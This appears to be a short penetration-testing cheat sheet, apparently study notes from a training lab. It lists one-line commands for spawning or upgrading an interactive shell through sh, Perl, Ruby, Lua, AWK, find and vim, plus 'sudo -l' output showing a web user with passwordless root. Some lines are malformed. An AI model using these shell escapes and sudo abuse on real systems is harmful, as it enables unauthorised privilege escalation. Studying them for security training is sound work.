Spawning shell interactiva

/bin/sh -i

/bin/sh -i
sh: no job control in this shell
sh-4.2$

Perl

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

Ruby

ruby: exec "/bin/sh"

Lua

lua: os.execute('/bin/sh')

AWK

awk 'BEGIN {system("/bin/sh")}'

Find

find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

Using Exec To Launch A Shell

find . -exec /bin/sh \; -quit

VIM

vim -c ':!/bin/sh'

Vim Escape

vim
:set shell=/bin/sh
:shell

Execution Permissions Considerations

ls -la <path/to/fileorbinary>

Sudo -l

sudo -l
Matching Defaults entries for apache on ILF-WebSrv:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User apache may run the following commands on ILF-WebSrv:
    (ALL : ALL) NOPASSWD: ALL